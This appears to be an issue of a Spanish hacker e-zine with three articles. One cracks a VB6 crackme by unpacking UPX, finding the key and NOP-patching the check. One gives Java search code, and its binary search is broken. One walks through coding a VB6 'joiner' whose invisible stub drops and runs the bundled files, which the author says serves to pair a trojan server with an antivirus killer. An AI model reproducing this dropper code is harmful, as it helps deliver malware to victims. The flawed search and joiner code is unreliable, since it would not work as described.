supondremos que no sabemos nada sobre el... ;-
).



Lo abrimos con Ollly y lo que vemos en las apis es
basura, aunque ni tanto, veamos la ltima
[UPX|Export|<MouduleEntryPoint>], parece que
estamos frente a un empacado:





Analizamos con PEiD (siempre debe ser lo primero
que hagamos, pero bueno, para que nos
familiaricemos un poco con los empacados.), y
nos dice:



Desempacando:

-La forma ms rpida, fcil y sencilla:
--Encontrando OEP (punto de entrada original):

Cabe destacar que el entrypoint que vemos con el
Ollly es el EP del packer (upx en este caso), por
consiguiente para desempacar el crackme
tendremos que encontrar el OEP real del crackme.

Cargamos el crackme en Ollly, y vemos que el EP
del packer (406A81) nos deja en un PUSHAD, lo
pasamos (F8/F9) y vemos que algo se mueve a
ESI, vamos a registros, en ESP ponemos las
opciones y seleccionamos Follow in Dump



Seleccionamos los 4 primeros bytes, que si nos
fijamos bien, es lo que contiene EDI, invertido,
ponemos un bp (F2) en los bytes que
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin


seleccionamos y ponemos a correr (F9).



Dumpeo:


Stack:

Registros:



Al ejecutar caemos en un far jmp a 4011BC
(dentro de .code [RO:401000 RS:5000]), as que,
si mis clculos son correctos caeremos en el OEP
veamos:

Aqu camos con el 1er BP:



Pasando el jmp (F7/F8) llegamos a 4011BC:



Nuestro OEP real que porque lo digo? Fijmonos
en el rea sombreada, esta informacin nos dice
2 cosas: que estamos en el OEP tan buscado y
que el programa esta escrito en VB, porque?
analicemos el OEP de otro programa en VB6:



As caemos en cuenta de que tienen una misma
estructura:

PUSH XXXXXXXX
CALL XXXXXXXX
ADD BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
XOR BYTE PTR DS:[EAX],AL
ADD BYTE PTR DS:[EAX],AL
INC EAX

Listo, ya tenemos OEP, ahora podemos pasar a
desempacar:
OEP=4011BC

--Dumpeando:

Yo usare Procdump (una maravilla), aunque claro,
hay muchos programas y plugins que permiten
hacer esto.

Ejecutamos en crackme empacado, abrimos
Procdump seleccionamos el crackme y lo
dumpeamos.


Ahora abrimos el archivo dumpeado con la opcin
PE Editor y cambiamos el EP del packer por el
OEP que encontramos.

Tambin tenemos que quitar la proteccin anti-
desensamblado

Cargamos el desempacado en Ollly y WUALA!:


No se sienten como en casa?
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin



Esta tcnica podemos tambin usarla contra otros
packers distintos al upx.

Ahora veamos:

-La forma ms difcil, lenta y con ms
enriquecimiento para los vagos (o simple y
sencillamente la forma que utilizan los que ya han
practicado lo suficiente) de encontrar el OEP:

Cargamos el crackme con PeiD y usamos el plugin
llamado Generic OEP Finder, y WAO... El
numero tan buscado ..xD



-Desempacando, forma #2:
Cargamos el crackme en la UPX GUI y
seleccionamos Ejecutar!, listo Archivo
descomprimido, xD



-CRACKEANDO

--1ra forma (encontrado la clave para nuestro
nombre por estudio):

Algo que tenemos que saber es que con estos
tipos de protecciones (nombre-clave)
seguramente el programa ara algo con nuestro
nombre para generar una clave especfica para el
nombre as que estudiemos un poco el
funcionamiento del programa antes de empezar a
poner BPs por todos lados.

Veamos que hace el programa cuando ponemos
cualquier cosa:



Como lo esperbamos, nos lleva a la zona del
chico malo.
Antes de destripar el crackme tengamos en la
cabeza 2 cosas: usemos siempre que estemos
estudiando un programa el mismo nombre y
clave, as es mas fcil de recordar y la otra es el
cartelito del chico malo Intenta otra cosa
amigo!.

Ahora si, destripemos el crackme:



Abrimos las strings references y nos topamos con
nuestro cartelito Intenta otra cosa amigo!

Ahora saltamos all a ver algo de cdigo. Ahora
fjense en la instruccin que esta 3 instrucciones
antes de la string [JMP SHORT
dumped.004021CF], deduciendo, la siguiente
instruccin ser una cada:
PUSH EAX
PUSH ECX
JMP SHORT dumped.004021CF
LEA EDX,DWORD PTR SS:[EBP-80]
LEA ECX,DWORD PTR SS:[EBP-40]

Ahora vemos que referencias tiene en el cdigo
(Ctrl+R) y efectivamente cayo desde un
condicional.

Crackeo bsico de programas en VB6 CUH e-zine 4 edicin


Vallamos al salto a ver algo de cdigo:



Viendo el code nos damos cuenta que si el salto
no se da caemos en el rea del chico bueno, as
deduciendo, mas arriba debe haber algn tipo de
comparacin.

Viendo detenidamente vemos una concatenacin,
esto puede ser importante as que subimos hasta
la instruccin despus del JMP ms cercano, sea,
nos posicionamos en 401FDC, Ctrl+R y vemos de
donde cae, y ya me canse de vagar por el code,
ponemos un BP en 401FDC y ejecutamos.



As listos con el BP, corremos el crackme (F9),
ponemos los datos falsos:



Pulsamos COMPROBAR y caemos en el BP:



Bajamos lentamente a ver algo que nos interese.
Fjense en los registro, podemos ver el nombre
junto a la cadena soy :



Bajando un poco, llegamos al cartel del chico
malo, y el programa no hizo ninguna otra
operacin con cadenas. Ahora mantengamos en
mente la cadena resultante soy shadow:



Probamos la cadena soy shadow y:



Crackme resuelto
CLAVE=soy + nombre

2da forma (encontrando la clave a punta de
breakpoints)

Muchos recomiendan empezar con esta opcin,
por lgica la recomiendo tambin, pero
personalmente me gusta primero estudiar el
programa y tener un BP con mas probabilidades
de ser el que busco que varios que tienen
probabilidades menores.

Destripamos el crackme, vemos las apis:


Crackeo bsico de programas en VB6 CUH e-zine 4 edicin


Ponemos un breakpoint en cada llamada a
StrCmp:


Ponemos a correr (F9) probamos con el nombre y
clave falsos y caemos en:



Y en los registros hay:


Bajamos un poco a ver que pasa con el nombre y
vemos que si no se puso nada en el nombre va a
la zona mala sino es as salta a otro lado.

F9 y no rompe en el otro StrCmp:


Esto quiere decir que la comparacin de la clave
falsa con la verdadera se hace sin StrCmp, as
que probamos poniendo BPs en cada llamada
StrCat:





Y...:


Ejecutamos (F9), ponemos los datos falsos,
probamos y caemos en:



Y en los registros:



Bajamos una instruccin (F7/F8) y la clave real:





Mas abajo en 40206B la clave falsa se va al stack:


Stack:



Seguimos bajando, se realizan algunas
operaciones con las cadenas y llegamos al salto
condicional:




As que probamos soy shadow y:


Crackme solucionado.
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin



3ra forma (parchear):

Cuando me refiero a parchear hablo de
reemplazar una instruccin, serie de
instrucciones, un byte o un bit dependiendo lo
que se requiera (pe: un bit para habilitar un botn
deshabilitado, una instruccin para detener un
conteo, etc.). Esto quiere decir que como solucin
no tendremos una formula, como en la 1ra forma
de crackear que vimos sino que tendremos un
programa sin proteccin. Cabe destacar que esta
debera ser nuestra ultima opcin al crackear un
programa, esta puede se la forma mas sencilla de
crackear un programa pero a medida que pasa el
tiempo se van presentando problemas y vemos
que crackear no solo el parchar, parchar, parchar.
Otra cosa que tenemos que tener en mente al
parchear es que esto no implica solo buscar el
salto al rea del chico malo y reemplazarla por
instrucciones basura (INC-DEC, NOP, MOV-MOV,
etc) sino que tambin implica lo que conlleva ese
salto, pe. que pasara si tienes que registrar un
programa, encuentras el cartel, parchas el salto al
cartel, creas el crack, registras, pero cuando
vuelves a abrir sale que aun no estas registrado?
Simple y sencillamente cambiaste el salto pero no
la rutina que te registra, es decir, en realidad no
te registras, as que literalmente lo nico que
haces es hacer que le programa te mienta.
Esa no es la idea. Pero bueno tenemos que
tener una ltima opcin.

Para parchear necesitamos primero que todo una
instruccin objetivo la cual cambiaremos. Nuestra
proteccin es del tipo comparacin-salto
condicional, esto quiere decir que precisamente
eso es lo que vamos a buscar una comparacin
seguida de un salto condicional. En el estudio que
hicimos para encontrar la clave del crackme, nos
dimos cuenta que en 4020DA hay un salto al rea
del chico malo y que si ese salto no se da,
entramos al rea del chico bueno:



As que tomando en cuenta esa informacin
podemos deducir que si nopeamos la instruccin
(reemplazarla por un NOP [mas bien serian 6
NOPs ya que cada NOP es un byte (90) y la
instruccin contiene 6 bytes (0F84AE000000)]) se
omitir el salto condicional y siempre presentara
el cartel del chico bueno. As que rellenamos con
NOPs haciendo doble-click en el salto, tenemos
que seleccionar Fill with NOPs:



Y nos queda as:



Ahora probamos el crackme nopeado con el
nombre y clave inventados (shadow | 363636)
y:



Bueno solo resta copiar los cambios al
ejecutable y Listo! Crackme, crackeado:



El crack lo pudimos haber hecho de muchas
formas, yo eleg (segn mi forma de ver) buscar
la estructura:

Cdigo
CMP XXXXXXXX
J(condicional) rea(buena/mala)
Cdigo
Cdigo
Cdigo

Y nopear o saltar directo segn el caso.

Tambin pudimos haber puesto un salto directo
en 40218E (bad guy zone ini) a 4020E0 (nice guy
zone ini) y tenamos el mismo resultado.



Crackeo bsico de programas en VB6 CUH e-zine 4 edicin


Como ya lo dije, tenemos varias opciones al
parchear (dependiendo del tipo de proteccin y
esto no es siempre)

-Parcheando la memoria:

Ahora os enseare como parchear un programa
sin el Ollly, usaremos el PUPE (maravilla de
programa)

Al abrir el PUPE que el programa nos muestra los
procesos cargados en la memoria:



Seleccionamos el proceso que vamos a parchear
(dumped.exe), click derecho, patch:



Nos sale una ventanita seleccionamos en # de
bytes a parchar (recordemos que el salto contena
6 bytes), ponemos la direccin del salto a parchar
(4020DA), clickamos Search y vemos el cdigo
del salto (0F84AE000000), en el cuadro de texto
de To change by: pondremos las instrucciones
que reemplazaran el salto (90 [NOP]). Algo que
tenemos que recordar es que la cantidad de bytes
a cambiar debe ser la misma de la instruccin
(obviamente).



Pulsamos Patching y memoria parchada:



Probamos el crackme desempacado sin crackear
(sea, aparte de desempacar, no hemos hecho
ninguna modificacin) y milagrosamente vemos:



Finalmente veamos algunos breakpoints que nos
pueden servir para crackear un programa hecho
en VB:
Comparacin de cadenas:
__vbaStrCmp
__vbaStrComp
Comparacin de variables:
__vbavartsteq
Concatenation:
__vbaStrCat
Estructuras FOR:
__vbavarfornext
Cajas de mensajes:
__rtcMsgBox

Bueno, hasta aqu llegamos, espero que les sea
de ayuda. Saludos!

The Shadow|Shadow shadow@el-hacker.org
Busqueda Secuencial CUH e-zine 4 edicin





A continuacin les voy a hablar de los diferentes tipos
de bsquedas que existen les voy a dejar explicado un
poco el concepto de cada una y el cdigo en Java de las
mismas.
Que un tipo de bsqueda sea superior a otra ya eso
queda a criterio de lo que se quiera hacer, lo que si es
cierto es que la bsqueda de tipo binaria es mas rpida
porque hace menos comparaciones y por ende es mas
rpida.

Ahora les voy a dejar la explicacin:

Busqueda Secuencial

En este ocasin voy a explicar los algoritmos de
bsquedas secuenciales, este tipo de algoritmos nos
facilita la forma de hacer consultas ya sea en una tabla
de una base de datos como en un vector o matriz de
datos (que al final viene siendo lo mismo que en una
base de datos; xD ).

Este tipo de bsqueda tiene mas puntos en contra que
a favor porque en un vector de N posiciones este
algoritmo va a buscar posicin a posicin hasta dar con
el dato solicitado y en el caso de que no exista pues
tambin va a recorrer todo el arreglo.

Lo bueno de este tipo de bsqueda es que es muy
sencillo de implementar y no se tiene que ordenar el
vector si tomamos el ejemplo anterior todava como
valido.

Bueno mucha explicacin vamos a la practica...

Si tenemos un vector ya definido con los siguientes
datos:

["aarona","aashta","abelarda","abelia","abigail","abril"]
, todos de tipo String y queremos saber si ya existe el
nombre : "Abigail" en nuestro vector entonces tenemos
que hacer lo siguiente:

public class BSecuencial {

public static void main(String[] args)throws
IOException {

BufferedReader entrada = new BufferedReader
(new InputStreamReader(System.in));
int encontrados=0;
String [] VectorNombres =
{"Aarona","Aashta","Abelarda","Abelia","Abigail"
,
"Abril"};

System.out.print("Digite el nombre que desea
buscar: ");
String nombre = entrada.readLine();
// entrada de dato a buscar

for (int i=0; i<VectorNombres.length;i++){

if(nombre.equalsIgnoreCase(VectorNombres[i]))
{

JOptionPane.showMessageDialog(null,"Elemento
encontrado "+VectorNombres[i],"Encontrado",
JOptionPane.INFORMATION_MESSAGE);
encontrados++;
continue;
}


}

if(encontrados == 1 ){
System.out.println("Fin de busqueda, encontrado
"+encontrados+" elemento igual");
}else{
System.out.println("Fin de busqueda,
encontrados "+encontrados+" elementos
iguales");
}


}

}

Con este cdigo ya estn listos para usar las bsquedas
secuenciales y utilizarlas para casos mas complejos.

Busqueda binaria o bsqueda dicotmica
Es un algoritmo de bsqueda que para realizarla, es
necesario contar con un arreglo o vector ordenado.
Luego tomamos un elemento central, normalmente el
elemento que se encuentra a la mitad del arreglo, y lo
comparamos con el elemento buscado. Si el elemento
buscado es menor, tomamos el intervalo que va desde
el elemento central al principio, en caso contrario,
tomamos el intervalo que va desde el elemento central
hasta el final del intervalo.
Procedemos de esta manera con intervalos cada vez
menores hasta que lleguemos a un intervalo indivisible,
en cuyo caso el elemento no est en el vector, o el
elemento central sea nuestro elemento.

Busqueda Secuencial CUH e-zine 4 edicin




Yo esta bsqueda la voy a hacer de manera iterativa
pero se puede utilizar recursion tambin:

public static void Buscar(int [] vect,int valor){

int pivote = vect.length/2;
for (int i=0; i < vect.length;i++){
System.out.println(vect[i]);
}

if (valor < pivote){

for (int x=0;x < pivote;++x){

if (valor == pivote){
System.out.println("Encontrado posicion
"+pivote);
break;
}else if (valor == vect[x]){
System.out.println("Encontrado posicion "+x);
break;
}

}
}else if(valor < pivote){

for (int x=pivote;x < vect.length;++x){
if (valor == pivote){
System.out.println("Encontrado posicion
"+pivote);
break;
}else if (valor == vect[x]){
System.out.println("Encontrado posicion "+x);
break;
}

}

}else{
System.out.println("Elemento no encontrado
>:(");
}
}
Saludos...........8) [p3ll3]

Creando un joiner CUH e-zine 4 edicin




Comenzare explicando que es lo que haremos, una
explicacin terica como para que vayan entendiendo
de lo que hablo, y luego pasaremos a lo practico.
Les dar mi definicin de Joiner, aunque no creo que
haya alguna contradiccin ya que la misma palabra lo
dice todo. Joiner, traducido al espaol significa
Juntador que vendra de la palabra Join que traducido
es Juntar. La funcin bsica de un joiner es juntar
ficheros, y dejarlos en un solo fichero final (por lo
general ejecutable). Es como una especie de
compresor, como lo es WinRAR, pero con la diferencia
que el joiner esta compuesto por un Stub (Ya veremos
lo que es) que har que todos los ficheros unidos se
ejecuten (en algunos casos el programador le da la
posibilidad al usuario de ejecutar algunos ficheros y
otros no). Bueno, resumamos esto en: Un joiner es un
programa encargado de juntar 2 o ms ficheros de
cualquier tipo, dejando un solo fichero final.
Este tipo de aplicaciones se utilizan mucho (en el
mundo del underground informtico) para juntar (por
ejemplo) el servidor de un troyano y un KillAV (Matador
de antivirus), haciendo que al ejecutar el fichero que
los contiene se ejecuten los dos, matando el antivirus
de la victima y permitiendo la absoluta ejecucin del
servidor.
Pacemos a lo interesante del articulo, veremos como
trabaja un joiner, o mejor dicho, como trabajara
nuestro joiner. Debo aclarar que la interfaz grafica pasa
por cuenta del programador, como as tambin las
funciones y las opciones que puede presentar el
programa.
Lo que conforma el Joiner en si, se podra decir que son
dos aplicaciones. Una ser la principal, lo que el usuario
ve y con lo que interacta. La otra ser el Stub, pero
Qu es esto? El Stub ser la cabecera (por as
decirlo) del ejecutable que se generara, luego irn los
otros ficheros. Entonces la ejecucin del fichero
generado seria algo as:


STUB
|
FICHERO1
|
FICHERO2
|
FICHERO3







El Stub tendr la orden de separarse, es decir en
dividirse en tantas partes como ficheros halla, en este
caso serian en 4 partes, donde a la primera no se le da
importancia. Las otras tres sern los ficheros. Entonces
una vez que se halla dividido el fichero, se copiara el
contenido de las partes (menos la primera) en ficheros
individuales (que los creara el stub) y sern
ejecutados.
Se que no quedo bien explicado pero luego lo irn
entendiendo mejor.
Bueno, dividiremos el articulo en dos partes, la primera
ser la programacin del Stub y la segunda la
programacin del Joiner Veamos:

Programando el Stub:
Para esto vamos a necesitar poder ejecutar cualquier
tipo de fichero, para ello podramos usar la sentencia
Shell, pero con esto no podremos ejecutar ficheros
txt, claro que podemos armar toda una historia,
leyendo el registro, obteniendo su programa por
defecto y ejecutarlo con el, pero seria mas sencillo
utilizar la API ShellExecute ;)
As que ya sabemos como ejecutar los ficheros que
sern generados, es solo declarar la API y pasarle como
parmetro el fichero. Pero Qu ficheros ejecutara? Pos
los que creara el stub cuando se ejecute Y como los
creara? Es muy facil, pero ya lo veremos mas adelante.
Para la creacin de ficheros debemos conocer las
formas de crear, abrir para escribir/leer/escribir y leer
un fichero de forma comn y binaria. Ahora solo
utilizaremos la forma de apertura de lectura y lectura-
escritura en modo binario. Si no sabes como hacer
esto, pgale un vistazo a esto, ya que no lo explicare:
http://support.microsoft.com/kb/151335/es

Bueno, supondr que de ahora en mas ya saben
manejar los archivos de modo binario, as que
sigamos
Como dije antes, debemos dividir el fichero en tantas
partes como ficheros halla (mas el stub).
Para hacer esto, debemos saber que cuando se genero
el fichero se marco el final de cada fichero con una
marca especial, supongamos que dicha marca fue
|MARCA|. Entonces el fichero en modo de cadena se
vera as:
Stub|MARCA|Fciehro1|MARCA|Fichero2|MARCA|F
ichero3
As que, sabemos que debemos dividir el fichero donde
dice |MARCA|. Para esto Tenemos la funcin Split
de VB que nos permite separar una cadena indicndole
una cadena en donde debe separar. Split nos devolver
un array con un ndice menor (0) y un ndice mayor
(igual a la cantidad de divisiones que se hizo); en
nuestro caso tendramos un array que ira de 0 a 3,
donde lo nico que nos interesa son 1,2,3 ya que 0
ser el Stub.
As que tendremos el contenido de lo ficheros dentro de
un array, ahora debemos ubicar estos datos dentro de
sus respectivos ficheros. Esta es una parte media
Creando un joiner CUH e-zine 4 edicin

engorrosa y que se puede hacer de distintos mtodos,
pero la ms fcil es la que explicare:
Para saber que tipo de fichero crear, cual ser su
nombre, etc. debemos incluir estos datos en el stub, as
que debemos hacer dos tipo de divisiones. Una ser
para separar los ficheros y otra para separar los datos
de cada fichero. Les dar un ejemplo para que lo
entiendan mejor:
Tenemos 2 ficheros:

FICHERO 1:
NOMBRE: Mi imagen.jpg
CONTENIDO: JFIF ` `

FICHERO 2:
NOMBRE: Lecturas.txt
CONTENIDO: E QE V~&t

Como pueden ver estamos hablando de su contenido
como bits y no como su contenido dentro del fichero, es
decir, que no vamos a tomar lo que dice dentro el
fichero txt sino que vamos a tomar sus bits (en el caso
de un fichero de texto). A lo que voy, es que
trabajaremos a todos los ficheros de forma binaria.
Estos ficheros los debemos separar por una marca,
pero a su vez tambin debemos separar por otra marca
sus datos. Primero vamos a hacer lo ltimo,
separaremos el contenido de cada archivo, para ello
podra ser algo as:

FICHERO 1: Mi imagen.jpg|M1| JFIF `
`
FICHERO 2: Lecturas.txt|M1| QE
V~&t

As tenemos separado los datos de los archivos por una
marca, que en nuestro ejemplo es |M1|. Ahora
juntaremos a FICHERO 1 y a FICHERO 2 en uno solo,
separndolos por otra marca, que ser |M2|:

FICHERO FINAL: Stub|M2|Mi imagen.jpg|M1|
JFIF ` ` |M2| Lecturas.txt|M1| QE
V~&t

As nos quedara al final, con el Stub primero, luego el
FICHERO 1 con sus datos separados por la marca |M1|
y luego el fichero 2 cuyos datos estn divididos de la
misma forma
Espero que hallan entendido mas o menos como viene
la mano, pero seguro que cuando empecemos a
programar se darn cuenta y tendrn una idea mas
lucida de todo esto. As que vamos a programar!!!

El orden para programar el Stub ser este:

1. INTRODUCIR LA API ShellExecute
2. COPIAR EL FICHERO PARA PODER ABRIRLO Y
LEERLO
3. LEER EL FICHERO Y OBTENER TODO SU
CONTENIDO
4. SEPARAR EL CONTENIDO DEL FICHERO A
TRAVEZ DE LA MARCA QUE DIVIDE A CADA
ARCHIVO JUNTADO.
5. DE CADA ARCHIVO OBTENIDO, SEPARAR SUS
DATOS
6. REHACER EL FICHERO DE ACUERDO A LOS
DATOS OBTENIDOS.
7. EJECUTAR LOS FICHEROS CREADOS.

En fin, comencemos, abrimos el VB, en mi caos ser la
versin 6.0, creamos un nuevo proyecto y acomodamos
el formulario. Esta claro que no se debe visualizar la
ventana del Stub, es decir que va a ser invisible. As
que acomodemos su propiedad Visible y la ponemos
en False. Con eso ya tenemos un cambio, le damos a
guardar para salvar le proyecto y seguimos.
Ahora vamos a declarar la API ShellExecute, no es
necesario crear un modulo, aunque si quieres tener las
funciones bien ordenaditas, te vendra bien. Pero yo
trabajare todo sobre le form, ya que no necesitamos
compartir informacin con otra parte del proyecto. As
que vamos a la parte de cdigo de nuestro proyecto, y
nos situamos en la parte superior de l. All declaramos
la API de la siguiente manera:

Private Declare Function ShellExecute Lib "shell32.dll"
Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal
lpOperation As String, ByVal lpFile As String, ByVal
lpParameters As String, ByVal lpDirectory As String,
ByVal nShowCmd As Long) As Long

Como vern, la declaracin es privada, eso es porque la
eh introducido en el formulario y no deseo compartirla
con otras partes del proyecto.
Asta aqu todo bien, ya tenemos como ejecutar los
ficheros. Ahora sigamos
Como mencione antes debemos leer el fichero
ejecutado, es decir, debemos leernos a nosotros
mismos, pero para esto primero debemos copiarnos en
algn lado ya que sino Windows no nos dejara. El lugar
mas elegido (y mas acorde) para copiarnos seria el
directorio Temp (Temporal). Pero para esto antes
debemos obtenerlo usando (como mtodo ms sencillo)
el objeto FileSystemObject. Y sinceramente les digo
que no tengo ganas de alargar mas el articulo con esto
ya que presumo que ya saben como hacerlo, as que
esto correr por cuenta suya, yo lo copiare
directamente en el mismo directorio donde se esta
ejecutando pero con la abreviatura Tmp antes y con
extensin .dat.
Les recuerdo que todo esto se hace en el momento en
que se ejecuta el fichero, as que debemos trabajar
sobre el evento Form_Load. Pero para que no nos
quede desordenado, solo aadiremos una llamada a
una funcin que har la tarea, y as tambin haremos
con las otras funciones, por esto no se preocupen, ya lo
entendern cuando vayamos alargando el code
Para copiarnos no har una funcin aparte, ya que seria
medio intil poner solo la funcin de copiar dentro de
una funcin, seria lo mismo ponerlo directamente, pero
cada cual lo hace como quiera yo lo pondr en el
Form_Load:

Private Sub Form_Load()
FileCopy App.Path & "\" & App.EXEName & ".exe",
App.Path & "\tmp" & App.EXEName & ".dat"
End Sub
Creando un joiner CUH e-zine 4 edicin


No veo la necesidad de explicar el cdigo, ya lo
deberan entender
Bueno, cada vez nos adentramos ms a lo difcil,
ahora abriremos de forma binaria la copia y
obtendremos su contenido, el cual almacenaremos en
una variable, veamos cdigo, y luego explicacin:
Agregaremos una llamada a la funcin en el evento
Load del Formulario (lo programado anteriormente, es
decir debajo de la funcin FileCopy, y nos quedara
as:

Private Sub Form_Load()
FileCopy App.Path & "\" & App.EXEName & ".exe",
App.Path & "\tmp" & App.EXEName & ".dat"
Call LeerFichero
End Sub

Luego la funcion:

Private Sub LeerFichero()
Dim TodoElContenido As String
Open App.Path & "\tmp" & App.EXEName & ".dat" For
Binary Access Read As #1
Get #1, , TodoElContenido
Close #1
End Sub

Explicare la funcin para que entiendan bien:
Primero declaramos la variable TodoElContenido
como cadena, donde se almacenara luego el contenido
del fichero.
Despus abrimos de forma binaria para leer la copia
hecha anteriormente.
Luego de esto, utilizamos Get para obtener el
contenido del fichero y almacenarlo en la variable. En la
cuarta linea esta Close que cierra el fichero abierto y
listo.

Ahora tenemos todo en la variable TodoElContenido,
as que podemos proceder a separar esto y obtener
cada fichero, para esto ya dije que usaramos Split, lo
que haremos ser llamar desde la funcin LeerFichero
a otra funcin, la llamaremos ObtenerArchivos y en
esta ultima funcin nos dedicaremos a obtener cada
unos de los archivos incluidos en el fichero .dat (la
copia nuestra). Pero a la funcin, ms bien al Sub que
crearemos debemos pasarle como parmetro la cadena
que tiene que separar, es decir el contenido de la
variable TodoElContenido.
Veamos, agregamos la llamada en la funcin y nos
queda as:

Private Sub LeerFichero()
Dim TodoElContenido As String
Open App.Path & "\tmp" & App.EXEName & ".dat" For
Binary Access Read As #1
Get #1, , TodoElContenido
Close #1
Call ObtenerArchivos(TodoElContenido)
End Sub

Procedemos a crear el sub:

Private Sub ObtenerArchivos(CadenaADividir As String)
Dim Archivo() As String
Archivo = Split(CadenaADividir, "|M1|")
End Sub

Es importante tener en cuenta que la marca que se va
a utilizar debe ser la misma que se pondr en el joiner
cuando se junten los archivos. En mi caso use la marca
|M1|.
Como ven en el cdigo, declare la variable Archivo
como un array, con los parntesis, pero no le di ningn
valor. Esto es porque no sabemos cuantos ficheros
pueden ir juntados y Split se encargara de darle un
valor mximo, aunque si ustedes le quieren poner un
mximo de ficheros a juntar lo pueden hacer
Luego la utilizacin de Split, simplemente igualamos la
variable Archivo a la sintaxis de Split que es:
Split(CADENA, MARCA).
Ya tenemos los archivos, ahora debemos obtener su
contenido. Para hacer esto debemos volver a utilizar la
funcion Split, y lo que haremos sera facil.
Pero antes de hacerlo les explicare sobre LBound y
UBound, estas dos nos sirven para obtener el valor
mnimo y mximo, respectivamente, de un array. Es
decir que con LBound podemos obtener el ndice menor
del array y con UBound el mximo. Estas dos las
utilizaremos para recorrer el array y poder listar uno
por uno los Archivos obtenidos. Si no entendieron ya se
darn cuenta (siempre digo lo mismo, espero que lo
hagan). Usaremos un bucle para recorrer el array, y
obtener en la variable del bucle, es decir en i para
nuestro caso el ndice actual del array (ya lo vern).
As que vamos a hacer otra declaracin, de otro array
que ser llamada Datos y ser de tipo cadena:

Dim Datos() As String

Esto lo ponemos debajo de la declaracin de la variable
Archivo.

Private Sub ObtenerArchivos(CadenaADividir As String)
Dim Archivo() As String
Dim Datos() As String
Archivo = Split(CadenaADividir, "|M1|")

For i = LBound(Archivo) To UBound(Archivo)
Datos = Split(Archivo(i), "|M2|")
Next i
End Sub

Es sencillo, hacemos un bucle desde el ndice menor del
array hasta el mayor. En i vamos a tener el ndice
actual, as que luego usamos Split para separar los
datos de la variable Archivo(i) es decir la variable
Archivo con ndice igual a i, lo que seria, para el primer
incide seria Archivo(0), para el segundo Archivo(1)
y todo as
Los datos los separaremos por la marca |M2|. Aqu
deben acordarse que dato pusieron primero, si el
nombre o el contenido del archivo, ya que vamos a
tener en la variable datos 2 ndices para un ndice de la
variable Archivo.
Es decir, que el contenido de Datos(0) y Datos(1)
corresponden a Archivo(0).
Creando un joiner CUH e-zine 4 edicin

Quizs esto nos complique un poco, pero ya veremos
una forma de que no Veamos, hasta ahora hemos
obtenido cada archivo que se haba juntado con nuestro
joiner (recuerda que empezamos de lo ultimo, ya que
estamos hablando como si los archivos estn ya
juntados) ahora los debemos armar, para saber que
extensin lleva y que nombre ponerle debemos obtener
el contenido de la variable Datos correspondiente. Por
ejemplo, para el primer archivo, el nombre se ubica en
Datos(0)
As que creamos una funcin que arme los archivos
segn sus datos, Cmo hacemos esto? Veraz, si te
pones a pensar un poco, si, es medio difcil eso de dos
valores de Datos para uno de Archivo (Datos y
Archivo son las variables, recuerda)
Pero hay una formulita que nos permitir saber que
ndices de la variable datos le corresponde al ndice
actual de la variable Archivo, esta formulita se podra
representar as: Nombre = N + N y Contenido = N +
N + 1. Pasemos a lo que es cdigo, vamos a agregar
otro bucle al Sub ObtenerArchivos similar al que
hicimos anteriormente pero para la variable Archivo.
Vamos a crear otro Sub que va a ser el que armara los
archivos, a esta rutina vamos a pasarle como
parmetros el nombre del archivo que se quiere crear y
su contenido, seria algo as:

Private Sub ArmarArchivo(Nombre As String, Contenido
As String)

End Sub

Luego vamos a agregar un bucle que ira desde el ndice
menor del array Archivo hasta su ndice mayor. Al
igual que como lo hicimos antes, ahora en la variable
del bucle (en mi ejemplo ser j) tendremos el ndice
actual de la variable Archivo y con las formulas
anteriores obtendremos sus datos correspondientes
sobre la variable Datos. Es medio confuso, pero
seguro que si lo ven bue, ya saben ^^


For j = LBound(Archivo) To UBound(Archivo)
Call ArmarArchivo(Datos(j + j), Datos(j + j + 1))
Next j

As como vez, llamamos al Sub ArmarArchivo y
usamos las formulas para obtener el ndice
correspondiente del array Datos, los cuales son
pasados como parmetros. As que nos quedara as:

Private Sub ObtenerArchivos(CadenaADividir As String)
Dim Archivo() As String
Dim Datos() As String
Archivo = Split(CadenaADividir, "|M1|")

For i = LBound(Archivo) To UBound(Archivo)
Datos = Split(Archivo(i), "|M2|")
Next i

For j = LBound(Archivo) To UBound(Archivo)
Call ArmarArchivo(Datos(j + j), Datos(j + j + 1))
Next j
End Sub

Ahora vamos a hacer el Sub ArmarArchivo, lo que
haremos ser abrir de forma binaria (en realidad crear)
un archivo cuyo nombre ser el que se paso por los
parmetros y la ubicacin ser el directorio actual de
trabajo (esto, como dije antes, lo deben arreglar
ustedes a su manera). Miren:

Private Sub ArmarArchivo(Nombre As String, Contenido
As String)
Open App.Path & "\" & Nombre For Binary Access Write
As #1
Put #1, , Contenido
Close #1
End Sub

As de simple es, con eso ya estaramos, ahora solo nos
falta ejecutar los archivos, es simple, le vamos a
agregar al sub ArmarArchivo una llamada a la API
ShellExecute que se encargara de ejecutar el fichero
con su programa correspondiente:
El cdigo les debe quedar as:

Private Sub ArmarArchivo(Nombre As String, Contenido
As String)
Open App.Path & "\" & Nombre For Binary Access Write
As #1
Put #1, , Contenido
Close #1
Call ShellExecute(Me.hwnd, "Open", App.Path & "\" &
Nombre, "", "", 1)
End Sub

Y listo! Hemos terminado de programar el Stub, ahora
debemos proceder con el joiner



Programando el Joiner:
Bueno, aqu no voy a poner el cdigo armado, sino que
voy a explicar las funciones y voy a ensear como
hacer las cosas, pero no voy a decir que controles usar,
todo esto correr por cuenta suya
La primera funcin que crearemos ser la que nos
permitir leer los archivos y obtener su contenido.

Empecemos:

Private Sub LeerArchivo(File As String)
Dim Contenido As String
Dim Todo As String
Dim Datos As String
For i = 0 To List1.ListCount
Open List1.List(i) For Binary Access Read As #1
Get #1, , Contenido
Close #1
Datos = Contenido & "|M1|" & Right(List1.List(i),
InStrRev(List1.List(i), "\"))
Todo = Todo & "|M2|" & Datos
Next
End Sub

Bueno, lo que hacemos aqu es hacer un bucle por cada
elemento de la lista (cada elemento es un archivo). En
Creando un joiner CUH e-zine 4 edicin

este caso es porque yo eh elegido almacenar los
archivos que escogi el usuario en una lista, me resulto
mas fcil que nada.
As que vamos de uno en uno por lo archivos, y los
abrimos de forma binaria, los leemos y almacenamos
su contenido en la variable Contenido. Luego la
variable Datos va a tener el contenido del archivo y el
nombre del archivo (el cual obtenemos manejando la
cadena que contiene la ruta completa del fichero)
